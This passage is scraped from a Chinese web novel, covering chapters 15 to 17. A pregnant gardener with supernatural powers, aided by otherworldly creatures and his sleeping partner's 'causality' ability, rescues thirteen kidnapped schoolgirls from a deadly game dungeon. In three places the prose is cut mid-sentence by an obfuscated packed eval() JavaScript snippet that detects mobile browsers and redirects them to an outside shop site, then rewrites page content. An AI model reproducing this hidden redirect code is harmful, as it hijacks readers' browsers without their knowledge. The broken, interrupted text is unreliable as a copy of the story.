而且赵璨璨说,今天她得去上学,这周就开始住校了,夫妻两个很爱女儿,去送女儿上学了也说不定。 陶岫并未放在心上,他想今天干脆带竺出去吃。 为了小朋友,他决定要开始逐渐减少使用电子产品的频率,上午他几乎没看手机,现在也不想把它带出去。 于是他干脆把手机丢进抽屉,拿出了自己许久不用的钱夹。 …… 难得午饭出来吃,竺似乎又真的很喜欢热闹,陶岫便带他去了附近一家颇受好评的粤菜餐厅。 这家店大部分菜口味偏清淡,好吃又营养,其实很适合现在的他吃,或许他日后的饮食也应该往这方面调整。 竺坐在对面新奇又津津有味地吃着“蚂蚁”们创造的饭菜,听到陶岫这么说后,他猛地抬起脑袋:“老板,”——听到植物园的客人这么叫陶岫后,他也学习了这个词语,开始这么叫:“我已经差不多学会这些蚂蚁食物的做法了,只要有原材料,我做给你啊!” “其实说不定给你做这些食物就是我苏醒的意义和职责啊!” 陶岫差 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14032968|148737||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 点呛出喝进口中的那口汤。 竺好奇地品尝了一口手边的柳橙汁,接着指着自己有点不好意思地道:“嘿嘿,和别的很强大的同类不一样,我很没用的,也只有鼻子和舌头特别好用啦。” “老大要我帮你忙,但现在反而是你在照顾我,我本来觉得特别不好意思过意不去的,幸好我还有舌头和鼻子可以帮到你。而且我真的特别喜欢小蚂蚁们做出的神奇食物!” 陶岫一怔,随即弯了眼眸道:“如果你喜欢的话,可以随时尝试。我会买食材给你。” 竺眼睛一亮:“我超会努力做出你爱吃的食物!” 他正要再说什么,却突然动作一顿,随即他猛地站了起来,朝陶岫动作很大地鞠了一躬,头几乎快要磕到桌面。 他结结巴巴地超大声道:“真的不、不、不客气的!!!这都是我该做的!!!” 整个餐厅瞬间沉默一瞬,随即齐刷刷往陶岫这桌看过来:有瓜?! 那个银发coser在对一个大帅哥鞠躬说啥! 这一幕真的很养眼,但是,coser说的话怎么哪国语言都不像啊! 陶岫也懵在那里不知所措:“???”这是咋了? 竺抬起头,眨了下眼,突然不知道该怎么表达,只好很莫名其妙地道:“祂、祂刚刚感谢我照顾你……” 小主人的意识现在还很微弱,祂确实没有说话,但、但他就是接收到了,祂刚刚在向他表达感谢。他也不知对方是怎么做到的! 陶岫也顾不上被围观很羞耻,只是懵懵地眨了下眼:“谁?——” 话音未落,他不知感觉到什么,脸色一白,他勉强笑了下,也顾不上再问下去,只是道:“抱歉,我去趟洗手间。” 说罢不等回复便大步往洗手间走去。 …… 洗手间,陶岫洗了把脸:镜子里的脸颊稍显苍白,苍绿的眼睛却还算有精神。 陶岫轻呼出一口气,用随身携带的干净手帕把脸擦干。 他刚刚并没有吐,也没有干呕,只是突然有些轻微反胃罢了。 比前段时间的孕吐现象要稍微反应重一点点。 但也没有到太过不适的程度——他的小朋友真的很乖,一直很乖。 这样想着,陶岫对着镜子整理了下仪容,突然他想到什么一怔:难道刚刚和竺“对话”的是…… 他白皙柔软的手下意识覆在了腹部,隔着衬衫,他的手掌感受到腹部温暖的热度:他的小朋友、就在那里…… 是他(她)吗? 他的声音轻而温柔:“是你吗?” 却没有得到任何回应。 或许是他想错了? 陶岫无奈地弯了下眼眸,正要离开,却突然感到另一只手的手心一痒。 他瞳孔一缩,将手缓缓抬到眼下:白皙的手掌里,是一朵小小的、薄薄的、白色的花朵。 它那样柔软脆弱可爱。 一个气泡一样轻盈可爱的微弱意识在他的脑海中绽开: “让妈咪、难受了,给你、花花。” 15.第 15 章 和上次一样,小小的、微弱的意识几乎转瞬即逝。 “砰、砰、砰” 陶岫觉得自己的心脏在清晰地跳动。 过量的情感涌入那里,他觉得有些美妙的晕眩。 他深吸一口气,将那朵小花珍惜地用手帕包好又收好,才离开了洗手间。 回到座位,竺依旧坐在那里没心没肺地仔细品尝各式菜品,别的座位的食客却并未再围观他,而是有意无意往前台处看去。 陶岫好奇地顺着那些视线看去,便看到两位警察正站在那里,似乎正和经理沟通什么。 他眉头一蹙:发生了什么? 这时隔壁桌细碎的交谈声传了过来: “他们一定是来调监控的。这两天A市真不太平啊,昨晚十三个女学生突然失踪,今天又在燕子巷里发现了一具男尸!也不知是什么了。” “唉,真希望那些女学生能快点有消息,都是家里的宝贝,家长该等得多难受啊。” “我亲戚就是明远高中的老师,唉,听说失踪的那些女生刚好就是那个班里的所有女生,男生倒是没事,真邪门。” …… 听着听着,陶岫便睁大了眼睛:这些都是昨天今天刚发生的事件吗? 而且,燕子巷就是那家汉堡肉便当店旁边的小巷。 那晚他就是在那个巷子里,帮赵璨璨赶走了骚扰她的亲戚。 该不会那家店今天休息是因为…… 一股不祥的预感在心头蔓延,陶岫再也吃不下饭菜,等竺吃好后,他心不在焉地带着竺回到了植物园。 办公室里,陶岫看着网上失踪的女孩子们的照片,心渐渐沉了底。 赵璨璨也在其中。 他正要多搜索一些信息,两位警察却在这时找上了门。 他们是来调取植物园里七天内的监控,陶岫很快提供给对方,对方却并未离去。 他们朝他出示了一张模糊的照片:“陶先生,请问你认识这个人吗?” 陶岫看着那人瞳孔一缩,道:“不认识,但是见过。” 照片里的人正是那晚在巷子里骚扰赵璨璨的男人,赵璨璨那天说,他是她的堂哥。 他照实把这件事告诉了警察。 两个警察互相对视一下,将一张尸体的照片展示给陶岫:“这个人叫赵平,确实是赵璨璨的堂哥。他的尸体在今早被人发现于燕子巷。死因我们已经调查完成,是心梗。” 陶岫看着那具尸体右腕上的黑色手环眉头一皱:赵平是个玩家…… 他的心梗很可能和林枚口中的【游戏】有关。 警察继续道:“我们会来找你,是因为这个人可查的七天内行动轨迹,很多都围绕着你。你两天前(周六)去了一家医院做检查,我们从医院的监控中发现,这个人就坐在你身边。” “你真的不认识他吗?” 陶岫咬了下唇:原来赵平就是那个【虚拟回溯】玩家。就是他让自己意识溺水,陷在了一年前的回忆里。 赵平七天的行动轨迹之所以会围绕他,是因为林枚口中的“攻略”。 陶岫苍绿的眸子里缓缓浮上冷意,他摇了摇头:“真的不认识。从我的主观视角看,那晚是我第一次见到他。” 两个警察轻叹了口气,严肃地道:“好的。陶先生,如果你之后想起别的细节,一定尽快联系我们。” 陶岫点头答应,他们才匆匆离去。 等到对方彻底离开,陶岫罕见地播放了提前闭园的通知,表达了歉意并且说明会给客人们补偿。 客人们离场过程中,他盯着电脑屏幕上那些女孩子们的照片,眸色冰冷得吓人:她们的失踪很可能和玩家赵平有关! 不然,在已经确定了死因是非人为的心梗的情况下,警方不可能还如此大费周章地调查他,甚至具体到这个人七天的行动轨迹。 想找到那些女孩子,他必须要知道相关信息。 下定了某种决心,客人离场后,陶岫带着笠来到了那家汉堡肉便当店。 那家店不出意外地闭店了,陶岫要竺在外面等一会儿,自己向店对面的一个小区走去:赵璨璨家就在那里。 等到陶岫离去,乖巧站在那里等对方的竺突然鼻尖一动,突然好奇地看向燕子巷的方向。 …… 陶岫很快来到赵璨璨家里,敲开了门。 夫妻两个看到陶岫一怔,还是把他迎了进去。 布置温馨的家里弥漫着绝望的氛围,只是一夜之间,这对夫妻就仿佛多了许多白发,憔悴得不成样子。 女人的声音带着哭腔:“小陶,我们真的不知道,要是璨璨有个三长两短,我们以后该怎么过啊……” 陶岫面露不忍,却还是直接问道:“你们知道赵平的相关消息吗?他是不是和那些女生的失踪有关系?” 赵父瞳孔一缩,几乎下意识脱口而出:“您怎么知道?”这些现在是保密信息啊…… 陶岫坚定地道:“请告诉我。” 如果那些女孩儿的失踪真的和所谓的【游戏】有关,那便是普通人无法涉足的领域。 但他这个非人类的“怪物”很可能可以。 夫妻两个睁大眼睛惊疑不定地看了陶岫半晌,之后,他们像是下定决心一般,道:“请跟我们来。” 他们将陶岫带到了书房,打开了拷到电脑里的一个监控视频:“我们店就靠着燕子巷,店门口的监控能拍到里面。这是昨晚拍到的,原件警方已经拿走了。” 陶岫皱着眉,看向那个视频。 屏幕里的时间显示昨晚(周日)11点50分,一个男人正在巷子里痛苦地打滚——正是赵平。 他似乎正被什么无形的、无法摆脱的东西折磨着,从巷子里滚到了巷子边,狠狠撞到了电线杆上。 他绝望又可怖地对着空气大叫着:“我不甘心!!我不甘心!我差点就杀死那个E级核心完成任务了,我是唯一一个几乎就要杀死他的玩家,你们凭什么还要我死?!凭什么!” “砰”地一声,他从电线杆滚到墙壁边上。 他似乎已经没什么力气了,只是突然,他无比怨毒地盯住了那家店的墙壁:“还有……凭什么我坐牢出来只能靠参加那种恶心的游戏过活,赵璨璨这个女人却能这么幸福!奶奶明明一直说女的不值钱不聪明我将来一定比她有出息,现在又是凭什么?!” “我不甘心!我不甘心!” “系统!系统!”他几乎歇斯底里地对着自己的手腕大喊着,眼里满是可怖的怨毒:“我进游戏得到的愿望还没有用过!我现在要用!我要赵璨璨、不,我要赵璨璨和她班上所有女的,那些抢我资源的女的,都去经历我经历过的一切!” “我要她们去参加那个C级3号副本永远不许出来!现在!立刻!!——” 视频时间这时来到第二天凌晨0点,赵平的声音戛然而止。 他怨毒的眼睛大得狰狞,七窍流血,身体看起来已经彻底失去了生机。那枚不祥的黑色手环依旧静静戴在他腕上。 …… 陶岫震撼地看着这一切,久久回不过神来。 “我们真的没想到,这个王八蛋这么恨璨璨。”赵母哭着说:“但是,我们听不懂他在说什么啊,真的听不懂,就连警方都不知他说的那些是什么意思……” “但我们璨璨和那些孩子,就是不见了。我明明看到璨璨回卧室上床睡觉了,第二天我们要送她去学校的。我睡前去看看她,她却没了……” 陶岫苍绿的眸色里浮起彻底的冷意,半晌,他将手轻轻放在赵母的肩上,他的声音轻而坚定:“抱歉,我没办法给你们什么承诺。但是,我会尽力。” 赵父不知想起什么,欲言又止地看着青年,却到底没说出口。 他们只是把青年送到了门口,道了声“多谢”。 …… 和这对夫妻告别后,陶岫便带着等在外面的竺打车回了家。 竺不知怎么了,一路上难得没说话,只是自顾自一脸不解,不知在想什么。 陶岫因着心里有事,并未发现。 只是回到家里,他才看向竺,问道:“你知道C级3号副本吗?” 竺一怔,回过神来,眼睛清澈又愚蠢:“什么是副本?”难道也是小蚂蚁们发明的东西吗? 陶岫垂眸,轻轻叹了口气:“没什么。” 他唯一能用在小区之外的能力是那扇门,但是,霍斯沉睡后,那扇门就一直是只能和霍斯卧室连接的状态。 不能用。 而能帮上忙的霍斯,又在沉睡。 陶岫坐在沙发上,阖上眼睛捏了捏眉心:这是他作为一个“人”后,第一次有如此负面的情绪。 他努力深呼吸平复着情绪,不想影响到他的小朋友。 竺似乎察觉到陶岫不太对,于是小心翼翼蹲在陶岫腿边,想说点让对方开心的事情:“老板,你知道吗?我在那个巷口闻到了小八的味道!小八也是我们的同类哦,真没想到能在这里闻到——” 陶岫蓦然抬起头打断他:“什么?!小八是谁?你怎么会在那个巷子闻到他的味道?!” 竺眨了下眼:“小八是……”他想到今天学到的蚂蚁新词汇,直接用到了这里:“是个萌妹子。” “我就舌头和鼻子好用嘛。”看到陶岫神情,他忙解释道:“巷子里有血的味道,血的主人应该接近过挺多我们的同类,那些味道混在一起我分不清了。” “但最新的我还是能辨认出来的,他最后一次接近的是你,再之前就是小八!” 陶岫的眸子亮起来:“小八在哪里?你能找到她吗?” 竺眸子里浮出几丝落寞:“我很久没有见到她啦。自从老大沉睡后,我们的世界空间就彻底乱掉了,我现在没办法定位到她。那家伙应该还在睡吧。” “现在能定位到我们的,也只有老大。” 但祂还在睡。并且因为一件事情,无法被唤醒。 就连暂时被唤醒也不行。 陶岫闻言利落地起身向杂物间走去:竺是从窗外爬进来的,那么小八应该也在那个房间之外。 如果小八真的是赵平口中的C级3号副本,那么只要想办法找到她,大概率就能找到那些女孩子。 陶岫毫不犹豫地踏入那个充满馥郁冷香的房间,确认床的方位后,他大步向窗的方向走去。 竺忙跟了上去,急匆匆道:“老板你想找小八的话, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14043080|148737||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 那些虫子倒是没什么,但路是真不好找啊,没有老大的话即使是我们,也很容易迷失——” 无数深蓝触手摩挲着陶岫的脚踝,陶岫却在离窗子只有一掌距离时蓦然停下了步子。 他的手轻轻覆上了自己柔软的腹部,睁大了眼睛喃喃道:“宝贝……你说什么?” 小小的意识微弱又温柔地在陶岫脑海中绽开:“我、帮妈咪……妈咪不要、不开心……” 他可以通过借用爸爸的意识确定小八的方位,再借助妈咪的能力、做一条路出来。 他现在太弱小了,没办法使用太多爸爸的力量,只能做到这种程度。 但他会超努力地变强,保护妈咪哒! 房间内浓稠的黑暗猛地凝滞了一瞬,躺在床上沉睡的俊美男人轻轻动了下手指。 陶岫还未回过神来,竺突然猛地抬起头看向青年的腹部:他的小主人,在召唤他…… 路、已经做好了…… 他睁大眼睛喉头动了下,道:“那、那个,老板!你在这里等一下!我现在就去把小八背回来!” 说罢他和陶岫错身而过,用一秒不到的时间掀开了窗帘跳出了窗外,只留下一句:“老板你撑住啊!” 毕竟那条路本质上是来自老板的能力啊! …… 陶岫清晰地感觉到,力量在自己的身体里流逝。 他的脸渐渐变得苍白,于是便小心地护着腹部,在地毯上盘腿坐下来。 无数深蓝触手涌向他,在他身边轻蹭着他的衬衫、想要钻进去。 陶岫垂眸温柔地笑了下,声音轻得像在自言自语:“如果你醒来看到我们的小朋友这么厉害,会是什么表情呢?” 触手小心地托住了他的身体。陶岫便干脆闭上眼睛休息。 床上沉睡的男人悄无声息地握了下拳,青年却并未察觉。 …… 不知过了多久,窗子的方向发出“砰”地一声巨响。 竺背着一只一人大的金色八爪章鱼,从窗子里爬了进来:“老板我把小八带回来啦!” 陶岫咬了下唇利落地起身,拿起骨灯照过来。 他瞳孔一缩:和竺类似,那只金色章鱼的上半身,爬满了可怖的“水蛭”。 她似乎还未苏醒,脑袋和八只巨大的金色触手一动不动。 只是在干净的触手的庇护下,十三个年轻的女孩子正在安安静静睡着。 她们毫发无伤,呼吸平稳。 陶岫终于彻底松了口气。 他不知道她们和小八之间发生了什么,但是,这个结果真的很好很好。 接下来,就是想办法通知警察和她们的家长,还有要先把人送医院做个检查…… 陶岫咬了下唇,正要做什么,房间内浓稠的黑暗却突然凝滞了一瞬,深蓝触手突然暴动一般在整个房间涌起,馥郁的冷香仿佛深海般压迫着房间里的每一个角落。 竺吓了一跳,仿佛意识到什么,迅速背着小八离开了房间来到了客厅。 触手们依旧张牙舞爪铺天盖地,它们并未触碰那些女孩儿,那些女孩儿却瞬间消失不见。 下一秒,她们出现在警察局里,救护车的声音在不远处的街道响起来。 陶岫并未看到那些场景,却蓦然反应过来:因果…… 是霍斯的【因果】。 难道霍斯—— 他睁大了眼睛提着骨灯看向床的方向:男人却依旧在沉沉睡着。就仿佛对外界的一切一无所知。 触手们像泄了力气一般缓缓坠落,再次温驯地伏在地上,摩挲着青年的脚踝。 陶岫怔了下,随即轻抚着自己的腹部轻轻笑了下:“不管你是怎么做到的,总之,这次多谢了。” 说罢他离开了房间。 …… 客厅里,椰子已经睡着了。 竺正站在那只金色的小章鱼身边,担忧地望向她,看到陶岫出来,他摸了下后脑勺,道:“也不知道她和那些小蚂蚁发生了什么,她应该快苏醒啦。” “她身上这些丑虫子虽然不算什么,但她一个女孩子醒来看到那些,肯定挺难受……” 陶岫拿起置物架上新添的医疗箱,他脸色有些发白,却依然温柔地弯了眼眸,可靠得像个大哥哥,他道:“放心,交给我吧。” …… 帮小章鱼处理好那些虫子后已经半夜了。 得知对方是个女孩子,陶岫便把她安置在了舒适的卧室。 接着,他不紧不慢地洗漱完,和客厅里的竺道过晚安,便踏进了那间杂物室。 馥郁的冷香依旧铺天盖地,陶岫打了个哈欠,再自然不过地爬上了霍斯的床。 他盖好棉被,抱住了男人冰冷的身体,手掌温柔地覆在腹部,在安全的黑暗里安心地闭上了眼睛。 他想:果然,累极过后再睡觉真的非常舒服。 进入梦眠前,一个几乎就要睡着的微弱意识迷迷糊糊地在陶岫的脑海里绽开:“妈咪、爸爸说、爱你……” 在爸爸挣脱生理束缚苏醒的那短短的一瞬之间,他要我转告你,他爱你。 “我也、爱、妈咪……” 黑暗里传来青年绵长又安心的呼吸声。 16.第 16 章 玩家大厅。 广阔无垠的银白空间里,站满了浑身狼狈神情紧绷的人。 巨大的电子屏幕依旧悬浮在大厅中央,屏幕上是无数被分割好的血红方格,方格里是黑色的编号。 其中,D5与C3那两格不知怎地暗了下去,由血红色变成了灰色。 所有人都神情紧张地盯着那块屏幕。 空灵的AI声音在这方空间响起:【第9999轮选课开始,请在七日后选择进入的副本,如3分钟内未能选择成功,将由系统进行调剂。】 【其中,D5与C3副本目前已逃逸,请勿选择。】 【倒计时开始:6日23时59:00】 AI话音刚落,大厅里立刻议论纷纷。 一个高大的刀疤脸男人站在屏幕下,恭敬地对一旁的人道:“大哥,赵平没回来,他死在那个邪门的E级副本里了。” 他旁边的人是个矮小的青年,他戴一副黑框眼镜,穿着卫衣牛仔裤,一副书呆子的模样,背着手站在那里。 他并未回答刀疤男的话,只是遗憾地盯着那个暗掉的C3一格,道:“可惜了,这么妙的副本竟然逃逸了,不然真想多参加几次。” 刀疤男看着周围一个个低着头在手环上选择副本的人,有些着急地道:“大哥,我们得尽快选择副本,不然等那些性价比高的副本满员我们就只能——” 矮个子青年戏谑又冰冷地看向他,道:“我要你这次选那个唯一的E级本。” 刀疤男大惊失色,着急地道:“大哥!那个E级副本虽然危险性是0,但那是个【时间限制】本,目前为止没有一个人从那活着回来!” 连赵平那样得到能力的人都死了! 青年傲慢地笑了下,他的视线扫向刀疤男垂下的手,只见那只手的手心和手背上,密密麻麻长满了一根根蠕动的手指,那些手指大小粗细不一,有的光滑美丽,有的褶皱粗糙,看起来是来自很多人的手。 青年:“你该知道,赵平可没你那些保命的东西。听着,如果无法杀死那个E级核心,那么,我要你帮我带回祂的资料。” 他的声音冰冷得不容置喙:“你应该知道不听我话的下场。” 刀疤男身子猛地抖了一下,还是道了声:“.…..是。大哥。” …… 金色传说小区6号楼2101室。 “阿嚏” 睡了很好的一觉醒来后,陶岫刚出霍斯的卧室,就打了个喷嚏。 陶岫心里吐槽着到底谁啊在背后念他该不会又是那些讨厌的玩家吧,一边往浴室走去。 经过卧室时他步子一顿:啊,昨晚住在里面的应该是个小姑娘。 在竺的描述里,那应该是个胆子很小性格内向的姑娘,也不知她现在有没有苏醒,住得习惯不习惯。 他想今天回来时要给她买些日用品。 正在这时,从外面遛狗回来的竺风风火火进了门,一边安置已经和他混得很熟的椰子一边对陶岫道:“老板,早餐和午餐我都给你放饭盒里啦,你可以直接带走到植物园那边吃!” “嘿嘿,我一大早看电视新学的,没尝过那种食物的味道只跟着电视机里的蚂蚁直接做的,也不知合不合你的口味,欢迎你提意见!” 陶岫讶然地眨了眨眼:竺适应得也太快了吧! 而且,这也太贴心了吧…… 他有点不好意思地摸了下鼻尖,道了声:“多谢。” “不客气!”竺已经安顿好椰子,这时从桌上端起一份牛奶三明治,边向卧室走去边道:“老板,你放心去上班,小八交给我!” “她就是有点害羞,人很不错的!混熟了她一定会很喜欢你!” 陶岫思索一瞬,弯了眼眸,道:“那么,她就拜托你了。家里的皮夹在客厅的抽屉,你想要什么可以随时出门买。” 就算语言不通,买东西应该还是很方便的。 竺笑着道了声“好咧”,端着托盘进了卧室。 陶岫轻轻笑了下,走进洗手间。 很快洗漱好出来,陶岫穿好外套,将饭盒装进环保袋,正要去上班,卧室那边传来一声轻轻的响声。 他一怔,停住步子侧身看去: 卧室的门打开了一个不大不小的缝隙。 一个小女孩儿探出了半个身体,怯生生地看向他。 她看起来只有十三四岁大,扎着双马尾,穿着浅色的连衣裙,手里不知为何捧着一个空糖果罐。 她有双漂亮的金色瞳仁。 “我、我都听竺说了。大哥哥,真、真的很感谢你帮我抓虫子和收留我。”说着她走出房间,站在门边,小心翼翼地朝陶岫鞠了一躬:“在你家打、打扰了。” 陶岫讶然地眨了下眼,随即面上浮出个温柔至极的浅笑,他道:“不客气。小八,祝你今天快乐。我去上班啦。” 说罢便推开门离开了屋子。 女孩儿怔怔地看着青年的背影,暖意一点点涌进身体:竺说得对,真的是个、好温柔好温柔的大哥哥…… …… 陶岫并不知晓小八的想法,他赶着早高峰,如往常般来到了植物园。 打开各种机器后,他回到办公室,开始吃他的早餐。 不得不说,竺说不定真的很有在这个世界生存的天份,连三明治都做得如此美味。 他边吃早餐,边打开了电脑的搜索引擎:也不知那些回来的女孩子怎么样了。 很快,他的视线在一条新闻上定格: 【早间新闻:于上周六晚失踪的十三位女高中生现已经顺利出院回家,院方表示,学生们身体各项指标一切正常,休息后可正常回校上课。校方表示,将持续关注这些学生的心理健康,将请专业人士对她们进行心理援助。】 【另,本台记者自警方处获悉,这起恶性绑架事件已经成功告破。犯罪嫌疑人赵平因心肌梗塞已确认死亡。】 评论区有两条高赞评论被高高顶在最上方:“听说那个傻逼自己过得不好,就想祸害别人,就趁着周六日那个班上的姑娘们不在学校,一个个迷晕绑架了她们, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14049943|148737||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 也不知道他怎么做到的。那傻逼死的那天好像是去拿一个家长的赎金了,刚好心梗了,真是活该。” “那群女孩子真是聪明又勇敢,听说是同心协力从郊区的废仓库里跑出来的,跑出来后就赶紧去了警察局,做完笔录都累得睡着了。真心疼她们遭受这些无妄之灾,幸好她们都没事!” …… 陶岫看着看着就弯了眼眸:那些姑娘们没事,真的太好了。 他吃下最后一口三明治,心想:这就是霍斯这次搞出来的【因果】么? 最不符合常理的地方就是,一个人在一天内绑架了十三个人这个部分。 但是,霍斯的【因果】不会有漏洞。也不知道到底怎么圆上的。 陶岫笑了下,压在心头的石头总算彻底消失。 吃完早餐后,他在植物园里加装了一些摄像头,加强了园区的安保。 接着,他签收了从网上买的防辐射服快递。 之后,他才换上工装服,开始精神饱满地工作。 这天的客流量也依旧很多。 事实上,他的生意每天都很好,也是因为这样,即使门票价格定得并不高,刨除用于植物园的支出后,他每个月的收入依旧不低。 更何况,他还有点外快。 检查完别的植物状况后,陶岫愉悦地将目光放在那丛玫瑰花上以及别的开始盛开的珍稀花朵上:这些黑巴克玫瑰和时令花朵很贵的! 每年的春天,他都会兼做点卖花的生意。二楼的草莓采摘区在春天采摘季节也会适当收取一些费用。顾客们都很捧场。 所以他每年春天会有一小笔额外的存款。 陶岫将手轻轻放在腹部,苍绿眼眸弯起:从今年起,他可以把每年春天的这笔存款都存起来,用作小朋友的教育基金。 就像赵璨璨同学的父母那么努力地想给她最好的,他也想把最好的给他的小朋友。 抱着这种愉悦的希冀,陶岫很快迎来了下班时间。 他坐在办公室里,窗外,顾客正有序离园。 陶岫边想着等会儿回家路上该给家里的小八添置什么日常用品,一边将无害的天然树脂和一些工具摆在了桌上。 接着,他从口袋里拿出那方手帕。 手帕打开,里面是一朵小小的脆弱的白花。 陶岫准备用它做个树脂挂件,这样的话,他的小朋友送给他的第一份礼物,可以像琥珀一样被保存下来。 植物园外夕阳已经西下,青年在暮色的照耀下做得很认真。 突然,一整串丰盈又可爱的白色小花凭空出现在那片美丽的光影里,它轻盈地坠下,温柔地落在青年白皙修长的指边。 陶岫的动作一顿,蓦然睁大了眼睛。 他轻轻道:“……宝贝,是你吗?” 脑海中并未出现那团微弱的意识,腹部却有微弱得仿佛幻觉的胎动来回应他。 就好像,经过一天的修养恢复一点点力量后,在和最喜欢的妈咪交流和送他可爱的礼物之间,某位小朋友选择了后者。 17.第 17 章 陶岫珍惜地将那些花朵封存在树脂里,放到通风的置物架上,这才离开植物园。 路上,他去了商场挑了两台手机,又买了一些适合小女孩儿的日用品零食,正要打车回家,却接到了赵璨璨父亲的消息。 他非常诚恳地邀请他今晚到店里吃顿饭。 陶岫一怔,还是回复了个【好】字。 他很快来到那家汉堡肉便当店,店的外面挂了歇业的牌子,店内却有灯光和香气隐隐透出来。 老板娘见陶岫来了,连忙去门口热情地迎他,她面上是亲切的笑:“小陶,我们一家人就是想请你吃个饭。菜都是我们夫妻下厨自己做的,希望你能喜欢。” 陶岫眨了下眼,跟着老板娘进到店里,桌上已经摆满了丰盛的硬菜,香气扑鼻,看着就让人食指大动。 已经出院的赵璨璨站在桌边,正笑意盈盈地朝他挥手打招呼。 经历那场意外,她看起来几乎没受什么影响,于是陶岫便也忍不住弯了眼眸,很快落座。 赵家人知道陶岫不喝酒,便特意为他准备了温牛奶和常温的果汁。 陶岫道过谢后,再自然不过地开始吃那些美味的饭菜,赵父这才感激地看向他,道:“小陶,真的再次感谢你。” 赵璨璨也朝他举起果汁杯:“嘿嘿,那我也谢谢小陶哥哥!” 陶岫举起果汁杯和女孩儿碰了下,又想起霍斯的【因果】自动生成的前因后果,失笑道:“这次不是最该感谢你自己和你的同学们吗?” 在明面上,这件事他应该没帮上任何忙才对。 赵父不知想起什么,眼里划过道久远的怀念,他恳切地看向青年,道:“我也不知道,我们确实已经从警方那里知道了前因后果,各种证据也全得很,但也不知怎么回事儿,我总莫名其妙觉得这事儿和你有关系,得感谢你。” “这大概算你们年轻人现在经常说的玄学?” 赵璨璨煞有介事地点点头:“我也是这么觉得的!” 陶岫“噗嗤”笑出声,一时之间不知该怎么回复。 赵母嗔怪地看了眼赵父:“瞧你们,人家吃饭呢你们说这些,”说罢她更加真心地笑着,看向陶岫,道:“小陶,这谢你踏实受着就行,就算没有这次,十一年前要是没有你,也没有我们家的今天。” “人要是不记别人的恩,那不成白眼狼了?” 说着老板娘用公筷给桌上的人平分了刚炖好的狮子头,道:“别听他们俩瞎说,来,快吃饭。” 陶岫和对面的赵璨璨相视一笑,开始吃碗里那颗无比鲜香的肉圆。 赵璨璨很快把碗里的肉圆消灭完,不知想起什么,她眸里有些奇异地放空出神,半晌,她道:“其实我真的觉得很玄学的。就是,虽然我知道我自己是和同学们一起从一个仓库里逃了出去,但我在派出所睡着之后,做了一个很神奇的梦。” 陶岫筷子一顿,眨了眨眼:“梦到什么?” 赵璨璨:“我梦到一座金色的塔的内部。台阶呈螺旋状向上向下蜿蜒,没有尽头。我和同学们在中间部位的台阶,上面方向似乎有出口,模模糊糊闪着光,下面却是黑漆漆深不见底的深渊。” 说到这里,赵璨璨的眉头疑惑地皱着,神色也不由得紧张起来:“除了我们,那里好像还有好多好多人,他们都在边向上爬边互相残杀,也不知为什么,他们会拼命割掉别人的手指装到自己的身上……” “很快有一群男人发现了我们,要来割掉我们的手指,我们一致判断,不会有什么比那样状态的人类更可怕啦,落到他们手里我们立刻就会死,向下走至少还有可能活,所以我们一起向下面深渊的方向跑去。” 赵父赵母并未觉得女儿的话神神道道,只是认真地倾听女儿说话。 陶岫此时已经放下了筷子,道:“然后呢?”他也很想知道,那些【玩家】口中的【副本】到底是什么。 赵璨璨神色下意识放松下来,道:“我们也不知道到底走了多久,真的走到了深渊的底部,我们在那里,发现了一只……一只巨大的金色的美丽的章鱼。” “那只章鱼那时在自杀。” 陶岫瞳孔一缩。 赵璨璨并未发现陶岫的异样,只是继续讲述道:“我们都知道的,章鱼这种动物有三颗心脏九个大脑,它们是很聪明的生物,一但陷入抑郁,很可能会吞掉自己的身体自杀。” “那只金章鱼眼睛闭着,睡得很深,身上还有好多恶心的虫子。可它真的在下意识吞着自己的触手自杀。” “那种危险诡异的情境里,我们竟然觉得它很可怜。而且它看起来很像我们能离开这里的关键。” “所以我们试探过它对我们并无敌意后,就一起将它已经吃进嘴里的一条触手拉了出来,并送了它一个空的糖果罐,希望它能开心一些——我在书上看到的,章鱼很喜欢罐子这种东西。” “事实证明,我们向它表达友好是对的。因为那时有个男人追着我们跑了下去,那只闭着眼睛的章鱼保护了我们、朝他喷出了墨汁——我不知是杀了对方还是赶走了对方,因为之后,我就像失去意识一样,什么都不记得了。” 一瞬沉默。陶岫怔怔地看着眼前的姑娘。 赵璨璨笑了下,摸了下后脑勺,道:“我知道是梦是假的啦,但我床头的糖果罐真的不见了!” “而且,我老是忍不住想,也不知道梦中那只小(?)章鱼怎么样了,有没有摆脱那种痛苦,如果可以,真想再见到它抱抱它并说声谢谢——谢谢它在梦中拯救了我们。” 赵父赵母听故事听得津津有味,陶岫这时回过神来,神情温柔得不可思议。 他并未说“有一天你一定会再见到她”,只是垂眸轻轻道了声:“祝你们有缘分再见。” 